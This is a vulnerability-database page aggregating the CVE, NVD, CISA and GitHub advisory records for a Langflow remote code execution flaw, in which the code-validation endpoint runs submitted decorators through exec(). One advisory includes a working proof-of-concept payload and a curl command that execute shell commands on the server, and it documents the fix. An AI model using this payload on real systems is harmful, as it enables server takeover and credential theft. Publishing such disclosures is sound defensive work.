Vulnerability-Lookup

CVE-2026-51886 (GCVE-0-2026-51886)

Vulnerability from cvelistv5 – Published: 2026-10-01 00:00 – Updated: 2026-10-05 23:56

Previdian

Summary

langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is: src/backend/base/langflow/api/v1/validate.py:validate-post_validate_code-a-real-authenticated-http-post-to-api-v1. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing route accepts raw Python source and forwards it into a server-side compile/exec validation path without any visible entitlement guard. ¶¶ A weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-05 23:56 UTC

CWE

n/a
CWE-94 - Improper Control of Generation of Code ('Code Injection')

Assigner

mitre CNA under the mitre root

CNA scorecard E 27/100 over 2378 records in the last 180 days details

References

2 references

URL	Tags
https://github.com/langflow-ai/langflow/issues/13336
https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25…

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: 3705cd39-ccb9-41e1-b34c-ad0c8aabf03b

Vulnerability ID: CVE-2026-51886

Status: Confirmed

Status Updated: 2026-10-06 10:31 UTC

Exploited: Yes

Timestamps

First Seen: 2026-10-06

Asserted: 2026-10-06

Scope

Notes: langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is:... | Affected: Langflow-ai / langflow | CVSS: 9.8 (CRITICAL) | EPSS: 0.00403 | Used in malware: unknown | Not yet in CISA KEV: True

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: previdian

Details

Feed	Previdian (previdian.com)
Title	langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is:...
Cve Id	CVE-2026-51886
Vendor	Langflow-ai
Ghsa Id	None
Product	langflow
Added Date	2026-10-06T10:31:37.276Z
Cvss Score	9.8
Epss Score	0.00403
Previous Ids
Cvss Severity	CRITICAL
Virtual Patch	False
Cvss Estimated	False
Epss Percentile	0.32379
Used In Malware	unknown
Vulnerability Id	CVE-2026-51886
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-10-07 11:01 UTC | Updated: 2026-10-07 11:01 UTC

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 9.8,
              "baseSeverity": "CRITICAL",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2026-51886",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-05T23:56:06.740367Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-94",
                "description": "CWE-94 Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-05T23:56:49.602Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/langflow-ai/langflow/issues/13336"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is: src/backend/base/langflow/api/v1/validate.py:validate-post_validate_code-a-real-authenticated-http-post-to-api-v1. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing route accepts raw Python source and forwards it into a server-side compile/exec validation path without any visible entitlement guard. \u00b6\u00b6 A weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls."
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "description": "n/a",
              "lang": "en",
              "type": "text"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-01T21:37:18.387Z",
        "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "shortName": "mitre"
      },
      "references": [
        {
          "url": "https://github.com/langflow-ai/langflow/issues/13336"
        },
        {
          "url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
    "assignerShortName": "mitre",
    "cveId": "CVE-2026-51886",
    "datePublished": "2026-10-01T00:00:00.000Z",
    "dateReserved": "2026-06-08T00:00:00.000Z",
    "dateUpdated": "2026-10-05T23:56:49.602Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-51886",
      "date": "2026-10-08",
      "epss": "0.00403",
      "percentile": "0.32481"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "n/a",
                "vendor": "n/a",
                "versions": [
                  {
                    "status": "affected",
                    "version": "n/a"
                  }
                ]
              }
            ],
            "source": "cve@mitre.org"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is: src/backend/base/langflow/api/v1/validate.py:validate-post_validate_code-a-real-authenticated-http-post-to-api-v1. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing route accepts raw Python source and forwards it into a server-side compile/exec validation path without any visible entitlement guard. \u00b6\u00b6 A weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls."
          }
        ],
        "id": "CVE-2026-51886",
        "lastModified": "2026-10-06T01:16:36.093",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 9.8,
                "baseSeverity": "CRITICAL",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 3.9,
              "impactScore": 5.9,
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-51886",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "yes"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-05T23:56:06.740367Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-10-01T22:17:03.387",
        "references": [
          {
            "source": "cve@mitre.org",
            "url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
          },
          {
            "source": "cve@mitre.org",
            "url": "https://github.com/langflow-ai/langflow/issues/13336"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/langflow-ai/langflow/issues/13336"
          }
        ],
        "sourceIdentifier": "cve@mitre.org",
        "vulnStatus": "Awaiting Analysis",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-94"
              }
            ],
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "type": "Secondary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "cvssV3_1": {
                  "attackComplexity": "LOW",
                  "attackVector": "NETWORK",
                  "availabilityImpact": "HIGH",
                  "baseScore": 9.8,
                  "baseSeverity": "CRITICAL",
                  "confidentialityImpact": "HIGH",
                  "integrityImpact": "HIGH",
                  "privilegesRequired": "NONE",
                  "scope": "UNCHANGED",
                  "userInteraction": "NONE",
                  "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                  "version": "3.1"
                }
              },
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-51886",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "yes"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-10-05T23:56:06.740367Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "problemTypes": [
              {
                "descriptions": [
                  {
                    "cweId": "CWE-94",
                    "description": "CWE-94 Improper Control of Generation of Code (\u0027Code Injection\u0027)",
                    "lang": "en",
                    "type": "CWE"
                  }
                ]
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-10-05T23:56:43.797Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/langflow-ai/langflow/issues/13336"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "n/a",
              "vendor": "n/a",
              "versions": [
                {
                  "status": "affected",
                  "version": "n/a"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is: src/backend/base/langflow/api/v1/validate.py:validate-post_validate_code-a-real-authenticated-http-post-to-api-v1. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing route accepts raw Python source and forwards it into a server-side compile/exec validation path without any visible entitlement guard. \u00b6\u00b6 A weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls."
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "description": "n/a",
                  "lang": "en",
                  "type": "text"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-10-01T21:37:18.387Z",
            "orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
            "shortName": "mitre"
          },
          "references": [
            {
              "url": "https://github.com/langflow-ai/langflow/issues/13336"
            },
            {
              "url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
            }
          ]
        }
      },
      "cveMetadata": {
        "assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
        "assignerShortName": "mitre",
        "cveId": "CVE-2026-51886",
        "datePublished": "2026-10-01T00:00:00.000Z",
        "dateReserved": "2026-06-08T00:00:00.000Z",
        "dateUpdated": "2026-10-05T23:56:49.602Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-51886

Vulnerability from fkie_nvd - Published: 2026-10-01 22:17 - Updated: 2026-10-06 01:16

Previdian

Severity

9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	cve@mitre.org	https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a
	cve@mitre.org	https://github.com/langflow-ai/langflow/issues/13336
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/langflow-ai/langflow/issues/13336

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "n/a",
          "vendor": "n/a",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "source": "cve@mitre.org"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "langflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is: src/backend/base/langflow/api/v1/validate.py:validate-post_validate_code-a-real-authenticated-http-post-to-api-v1. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing route accepts raw Python source and forwards it into a server-side compile/exec validation path without any visible entitlement guard. \u00b6\u00b6 A weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls."
    }
  ],
  "id": "CVE-2026-51886",
  "lastModified": "2026-10-06T01:16:36.093",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 9.8,
          "baseSeverity": "CRITICAL",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 5.9,
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-51886",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "yes"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-10-05T23:56:06.740367Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-10-01T22:17:03.387",
  "references": [
    {
      "source": "cve@mitre.org",
      "url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
    },
    {
      "source": "cve@mitre.org",
      "url": "https://github.com/langflow-ai/langflow/issues/13336"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/langflow-ai/langflow/issues/13336"
    }
  ],
  "sourceIdentifier": "cve@mitre.org",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-94"
        }
      ],
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "type": "Secondary"
    }
  ]
}

GHSA-QQW9-2VJ9-HX7R

Vulnerability from github – Published: 2026-10-02 00:31 – Updated: 2026-10-05 22:30

Withdrawn 2026-10-05

Summary

Duplicate Advisory: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-w584-2h2r-2hvf. This link is maintained to preserve external references.

Original Description

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 1.10.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:30:52Z",
    "nvd_published_at": "2026-10-01T22:17:03Z",
    "severity": "HIGH"
  },
  "details": "## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of\u00a0GHSA-w584-2h2r-2hvf. This link is maintained to preserve external references.\n\n## Original Description\nlangflow-ai langflow v1.9.3 is affected by: Code Injection. The impact is: execute arbitrary code (remote). The component is: src/backend/base/langflow/api/v1/validate.py:validate-post_validate_code-a-real-authenticated-http-post-to-api-v1. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing route accepts raw Python source and forwards it into a server-side compile/exec validation path without any visible entitlement guard. \u00b6\u00b6 A weakness has been identified in langflow-ai langflow up to 1.9.3. langflow contains a code injection vulnerability in validate-post_validate_code-a-real-authenticated-http-post-to-api-v1 (src/backend/base/langflow/api/v1/validate.py:13). An authenticated attacker can execute arbitrary Python code on the server by submitting malicious code to the /api/v1/validate/code endpoint, which directly executes user-supplied code without sandboxing or security controls.",
  "id": "GHSA-qqw9-2vj9-hx7r",
  "modified": "2026-10-05T22:30:52Z",
  "published": "2026-10-02T00:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-51886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/issues/13336"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Duplicate Advisory: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description",
  "withdrawn": "2026-10-05T22:30:52Z"
}

GHSA-W584-2H2R-2HVF

Vulnerability from github – Published: 2026-10-05 22:31 – Updated: 2026-10-05 22:31

Summary

Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description

Details

Summary:

A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The/api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.

Details

The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).

The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:

# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
    code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
    # ...
    # exec_globals creates a restricted-looking scope, but standard builtins are available
    exec(code_obj, exec_globals)

By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.

Affected Versions

/api/v1/validate/code had no authentication at all until commit 3fed9fe1b5 ("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this same exec() sink was reachable unauthenticated.
From v1.7.2 through v1.10.0, the endpoint required a valid session but the exec() sink was untouched, so any authenticated user (or any user at all under AUTO_LOGIN) could trigger RCE via a malicious decorator as described below.
Fixed in v1.10.1 — see Fix section.

PoC

Authenticate as any user (acquire a valid access token or API key).
Send a POST request to /api/v1/validate/code with the following JSON payload:

{
  "code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n    pass"
}

Curl Example

curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
     -H "Authorization: Bearer <YOUR_TOKEN>" \
     -H "Content-Type: application/json" \
     -d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n    pass"}'

Verify: Check the server file system. The file /tmp/pwned will be created.

Impact

This vulnerability results in Remote Code Execution (RCE).

Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.

Fix

Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.

This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.7.2"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-51886"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-05T22:31:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "###Summary:\nA critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code  function of Langflow. The` /api/v1/validate/code` endpoint, meant to validate user-supplied code, leverages Python\u0027s exec()  function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.\n\n\n\n### Details\nThe vulnerability is located in `src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py`).\n\nThe validate_code function parses user input using ast. When it encounters a  FunctionDef node, it compiles and executes it to check for extensive errors:\n\n```\n# src/lfx/src/lfx/custom/validate.py\nif isinstance(node, ast.FunctionDef):\n    code_obj = compile(ast.Module(body=[node], type_ignores=[]), \"\u003cstring\u003e\", \"exec\")\n    # ...\n    # exec_globals creates a restricted-looking scope, but standard builtins are available\n    exec(code_obj, exec_globals)\n```\n\nBy design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the \"validation\" phase.\n\n### Affected Versions\n\n- **`/api/v1/validate/code` had no authentication at all** until commit `3fed9fe1b5` (\"fix: Add authentication to various endpoints\", #10977), first released in **v1.7.2**. Before that release, this same `exec()` sink was reachable **unauthenticated**.\n- From **v1.7.2 through v1.10.0**, the endpoint required a valid session but the `exec()` sink was untouched, so any authenticated user (or any user at all under `AUTO_LOGIN`) could trigger RCE via a malicious decorator as described below.\n- Fixed in **v1.10.1** \u2014 see Fix section.\n\n### PoC\n- Authenticate as any user (acquire a valid access token or API key).\n- Send a POST request to /api/v1/validate/code with the following JSON payload:\n```\n{\n  \"code\": \"@lambda x: (__import__(\u0027os\u0027).system(\u0027touch /tmp/pwned\u0027), x)[1]\\ndef pwned():\\n    pass\"\n}\n```\nCurl Example\n```\ncurl -X POST \"http://\u003cTARGET_HOST\u003e/api/v1/validate/code\" \\\n     -H \"Authorization: Bearer \u003cYOUR_TOKEN\u003e\" \\\n     -H \"Content-Type: application/json\" \\\n     -d \u0027{\"code\": \"@lambda x: (__import__(\\\"os\\\").system(\\\"echo RCE_SUCCESS \u003e /tmp/pwned\\\"), x)[1]\\ndef pwned():\\n    pass\"}\u0027\n```\nVerify: Check the server file system. The file /tmp/pwned will be created.\n\n### Impact\nThis vulnerability results in Remote Code Execution (RCE).\n\nImpacted Parties: Any user with access to the Langflow instance (Authenticated Users).\nConsequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.\n\n### Fix\nFixed in **v1.10.1** by PR [#13696](https://github.com/langflow-ai/langflow/pull/13696) (commit `e7c33dbaad`, tracked as **GHSA-2wcq-pvw2-xh7v**): `validate_code()` in `src/lfx/src/lfx/custom/validate.py` no longer `exec()`s submitted `FunctionDef` nodes. It now only `compile()`s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.\n\nThis same fix independently resolves the different exploitation technique reported in duplicate advisory **GHSA-xjq8-cqrm-7m4x** (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink \u2014 the unconditional `exec()` in `validate_code()` \u2014 and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.",
  "id": "GHSA-w584-2h2r-2hvf",
  "modified": "2026-10-05T22:31:00Z",
  "published": "2026-10-05T22:31:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-51886"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/issues/13336"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/13696"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/e7c33dbaade20b5295c7fa26bf83cc1ff68fba02"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/releases/tag/v1.10.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow: Title Authenticated Remote Code Execution in  validate_code  via Malicious Decorators  Description"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-51886 (GCVE-0-2026-51886)

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

Timestamps

Scope

Evidence

Public Report Successful Exploitation Confidence: 70% Source: previdian

Details

References

FKIE_CVE-2026-51886

GHSA-QQW9-2VJ9-HX7R

Duplicate Advisory

Original Description

GHSA-W584-2H2R-2HVF

Summary:

Details

Affected Versions

PoC

Impact

Fix

Tags

Sightings

Nomenclature

Related by attack behaviour